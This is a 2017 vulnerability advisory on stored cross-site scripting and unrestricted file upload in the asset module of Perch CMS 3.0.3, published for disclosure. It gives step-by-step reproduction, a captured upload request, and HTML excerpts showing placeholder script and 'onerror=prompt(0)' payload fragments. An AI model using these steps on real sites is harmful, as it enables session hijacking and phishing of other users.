Perch CMS 3.0.3 Cross Site Scripting / File Upload

Document Title:
===============
Perch v3.0.3 CMS - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2067


Release Date:
=============
2017-05-29


Vulnerability Laboratory ID (VL-ID):
====================================
2067


Common Vulnerability Scoring System:
====================================
3.8


Vulnerability Class:
====================
Arbitrary File Upload


Product & Service Introduction:
===============================
Perch is a content management system designed for small websites as a drop-in solution. Perch Runway a fully featured CMS for larger content driven sites. 
They share a template language and many features - the main difference is the types of projects they are each designed for.

(Copy of the Homepage: https://docs.grabaperch.com )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory discovered an unrestricted file upload & stored cross site scripting web vulnerabilities in the Perch v3.0.3 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2017-05-29: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Edgeofmyseat
Product: Perch - Content Management System (Web-Application) 3.0.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An unrestricted file upload & stored cross site scripting vulnerabilities has been discovered in the official Perch v3.0.3 content management system.

The security vulnerability is located in the `Asset Title` input field & `Select File` upload file of the vulnerable `Adding a New Asset` module POST method request.
The `Asset Title` validation input field allows to execute any injected payload string code that is stored in the database management system. The `Select File` field 
is not parsed and allows a limited admin to upload unrestricted files to the web-server system.

The security risk of the stored cross site scripting & unrestricted file upload vulnerability is estimated as medium (CVSS 3.8). Exploitation of the (non-persistent & persistent) 
input validation web vulnerability requires a privileged web-application user account and medium user interaction. Successful exploitation of the vulnerability results 
in session hijacking, non-persistent and persistent phishing attacks, non-persistent and persistent external redirects to malicious source, non-persistent and persistent 
manipulation of affected or connected application modules.


Proof of Concept (PoC):
=======================
The unrestricted file upload & stored cross site scripting web vulnerabilities can be exploited by remote attackers with privileged user account and with Medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1.  Install Perch CMS 
Note: Your Account is a "Primary Admin" 
2.  Login to the web-application 
3.  Add " Limited Admin " with Admin Role
4.  Add " UserLab " with Editor Role
    Log Out Your "Primary Admin" Account and Log in with "Limited Admin" Account
5.  Go To  ..assets/
6.  Add asset button
7.  Create a MALICIOUS SCRIPT CODE EXECUTION Title
8.  Upload any Malware or malicious file
9.  Click on Submit button  
10. Open The "UserLab & Primary Admin " Accounts
11. Go To Listing Assets
12. The execution of the vulnerability by an limited admin are Stored and published in all Users "Listing assets" module
13. Successful reproduce of the vulnerability!


PoC: Attack Scheme :
https://www.youtube.com/watch?v=klYQ6iXfjUI&feature=youtu.be

PoC: LimitedAdmin - Asset Title => (http://Perch-cms.localhost:8080/perch/core/apps/assets/edit/?id=)
<div class="smartbar"><ul><li><div class="breadcrumb tab-active"><a href="/perch/core/apps/assets/">Assets</a><svg role="img" width="8" height="8" class="icon icon-o-navigate-right"> <use 
xlink:href="/perch/core/assets/svg/core.svg#o-navigate-right"></use> </svg> <a href="/perch/core/apps/assets/edit/?id=">"&gt;[ SCRIPT CODE EXECUTION! ]</a></div></li></ul></div>

PoC: LimitedAdmin -Select File => (http://Perch-cms.localhost:8080/perch/core/apps/assets/edit/?id=)
<div class="asset-badge-meta"><h3 class="title"><a href="/perch/resources/poc2-3.html">"&gt;[ Unrestricted "Malware&Malicious" FileUpload! ]></a></h3><ul class="meta"><li><svg role="img" width="12" 
height="12" class="icon icon-o-document"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-document"></use> </svg> Doc / HTML</li><li><svg role="img" width="12" height="12" class="icon icon-o-
weight-scale"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-weight-scale"></use> </svg> 0<span class="unit">KB</span></li></ul> <span class="ft-choose-asset ft-file  assets-disabled" data-
type="doc" data-field="image_assetID" data-bucket="default" data-input="image"></span></div>


--- PoC Session Logs [POST] ---
POST /perch/core/apps/assets/edit/ HTTP/1.1
Host: Perch-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------287332380928218
Content-Length: 1118
Referer: http://Perch-cms.localhost:8080/perch/core/apps/assets/edit/
Cookie: PHPSESSID=e6pok7gnvci66jb7noti2j0nu5; cmsa=1
Connection: keep-alive
-----------------------------287332380928218: undefined
Content-Disposition: form-data; name="resourceTitle"
[ SCRIPT CODE EXECUTION! ]
-----------------------------287332380928218
Content-Disposition: form-data; name="image"; filename="poc1.html"
Content-Type: text/html
[ Unrestricted "Malware&Malicious" FileUpload! ]
[Malicious Site + IP Adress/Redirection + File]:=[download]
-----------------------------287332380928218
Content-Disposition: form-data; name="image_field"
1
-----------------------------287332380928218
Content-Disposition: form-data; name="image_assetID"
-----------------------------287332380928218
Content-Disposition: form-data; name="resourceBucket"
default
-----------------------------287332380928218
Content-Disposition: form-data; name="tags"
-----------------------------287332380928218
Content-Disposition: form-data; name="btnsubmit"
Submit
-----------------------------287332380928218
Content-Disposition: form-data; name="formaction"
edit
-----------------------------287332380928218
Content-Disposition: form-data; name="token"
7860b50e7d1965fcc59ebf9c49be0034
-----------------------------287332380928218--
HTTP/1.1 200 OK
Server: ******
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
x-frame-options: deny
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8


PoC: Affected Accounts 
[+] Role : Primary Admin
[+] Vulnerable Modules(s): Listing assets

<main class="main-panel" id="main" aria-label="Content"><header class="title-panel"><h1>Listing assets</h1><div class="notifications"></div><div class="buttons"><a class="button button-icon icon-
left" href="/perch/core/apps/assets/edit/"><div><svg role="img" width="10" height="10" class="icon icon-plus"> <use xlink:href="/perch/core/assets/svg/core.svg#plus"></use> </svg><span>Add 
asset</span></div></a></div></header><div class="smartbar"><ul><li><div class="button-group button-toggle"><a href="/perch/core/apps/assets/?view=grid" class="button button-small toggle-
active"><svg role="img" width="12" height="12" class="icon icon-grid-big"> <use xlink:href="/perch/core/assets/svg/core.svg#grid-big"></use> </svg> Grid</a><a href="/perch/core/apps/assets/?
view=list" class="button button-small"><svg role="img" width="12" height="12" class="icon icon-menu"> <use xlink:href="/perch/core/assets/svg/core.svg#menu"></use> </svg> List</a></div></li><li><a 
href="/perch/core/apps/assets/?show-filter=atf" title="By Type"><svg role="img" width="14" height="14" class="icon icon-o-photo" title="By Type" aria-label="By Type"> <use 
xlink:href="/perch/core/assets/svg/assets.svg#o-photo"></use> </svg> <span>By Type</span></a></li><li><a href="/perch/core/apps/assets/?show-filter=bf" title="By Bucket"><svg role="img" width="14" 
height="14" class="icon icon-box-storage" title="By Bucket" aria-label="By Bucket"> <use xlink:href="/perch/core/assets/svg/core.svg#box-storage"></use> </svg> <span>By Bucket</span></a></li><li><a 
href="/perch/core/apps/assets/?show-filter=tf" title="By Tag"><svg role="img" width="14" height="14" class="icon icon-tag" title="By Tag" aria-label="By Tag"> <use 
xlink:href="/perch/core/assets/svg/core.svg#tag"></use> </svg> <span>By Tag</span></a></li></ul><div class="tab-content"><section role="tabpanel" class="tab-panel hidden" aria-hidden="true"><ul 
class="smartbar-filters"><li><a href="/perch/core/apps/assets/?type=img">Images</a></li><li><a href="/perch/core/apps/assets/?type=file">Files</a></li><li><a href="/perch/core/apps/assets/?
type=doc">Documents</a></li><li><a href="/perch/core/apps/assets/?type=sheet">Spreadsheets</a></li><li><a href="/perch/core/apps/assets/?type=audio">Audio</a></li><li><a 
href="/perch/core/apps/assets/?type=video">Video</a></li><li><a href="/perch/core/apps/assets/?type=pres">Presentations</a></li><li><a href="/perch/core/apps/assets/?
type=archive">Archives</a></li><li><a href="/perch/core/apps/assets/?type=html">HTML</a></li></ul></section><section role="tabpanel" class="tab-panel hidden" aria-hidden="true"><ul 
class="smartbar-filters"><li><a href="/perch/core/apps/assets/?bucket=default">Default</a></li></ul></section><section role="tabpanel" class="tab-panel hidden" aria-hidden="true"><ul 
class="smartbar-filters"><li><a href="/perch/core/apps/assets/?tag=onerrorprompt0">onerror=prompt(0);&gt;</a></li><li><a href="/perch/core/apps/assets/?tag=srcx">src=x</a></li><li><a 
href="/perch/core/apps/assets/?tag=ra-490d-e044">"&gt;<img< a=""></img<></a></li><div class="smartbar-actions"><a href="/perch/core/apps/assets/" class="button button-small"><svg role="img" 
width="12" height="12" class="icon icon-cancel"> <use xlink:href="/perch/core/assets/svg/core.svg#cancel"></use> </svg> Clear</a></div></ul></section></div></div><div class="inner asset-app-
listing"><div class="asset-grid"><a href="/perch/core/apps/assets/edit/?id=38"><div class="grid-asset asset-doc asset-display-thumbless" style="background-color: rgb(175, 175, 175);"><svg 
role="img" width="64" height="64" class="icon icon-o-document"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-document"></use> </svg><div class="asset-meta">
<span class="title">"&gt[ SCRIPT CODE EXECUTION! ]></span></div></div></a></div><div class="paging-cont"></div></div></main>

[+] Vulnerable Input Field(s): Asset Title
<label for="resourceTitle" class="">Title <span class="required-value">(required)</span></label>
<input id="resourceTitle" name="resourceTitle" value="&quot;[ SCRIPT CODE EXECUTION! ] required="" aria-required="true" class="text input-simple m" type="text">

[+] Vulnerable Input Field(s): Select File
<a href="/perch/resources/[ Unrestricted "Malware&Malicious" FileUpload! ]">"&gt;[Malicious Site + IP Adress/Redirection + File]:=[download]></a>

[+] Role : Editor
[+] Vulnerable Modules(s): Listing assets

<div class="inner asset-app-listing"><div class="asset-grid"><a href="/perch/core/apps/assets/edit/?id=38"><div class="grid-asset asset-doc asset-display-thumbless" style="background-color: rgb(175, 175, 175);"><svg role="img" width="64" height="64" class="icon icon-o-document"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-document"></use> </svg><div class="asset-meta"><span class="title">"&gt;[ SCRIPT CODE EXECUTION! ]></span></div></div></a></div><div class="paging-cont"></div></div>

[+] Vulnerable Input Field(s): Asset Title
<div class="asset-meta"><span class="title">"&gt;[ SCRIPT CODE EXECUTION! ]></span></div>
<div class="form-entry">
<input id="resourceTitle" name="resourceTitle" value="&quot;[ SCRIPT CODE EXECUTION! ]" required="" aria-required="true" class="text input-simple m" type="text">



Security Risk:
==============
The security risk of the persistent cross site and unrestricted file upload web vulnerabilities in the Perch CMS is estimated as medium (CVSS 3.8).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - SaifAllah benMassaoud (https://twitter.com/benmassaou) - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud ) 


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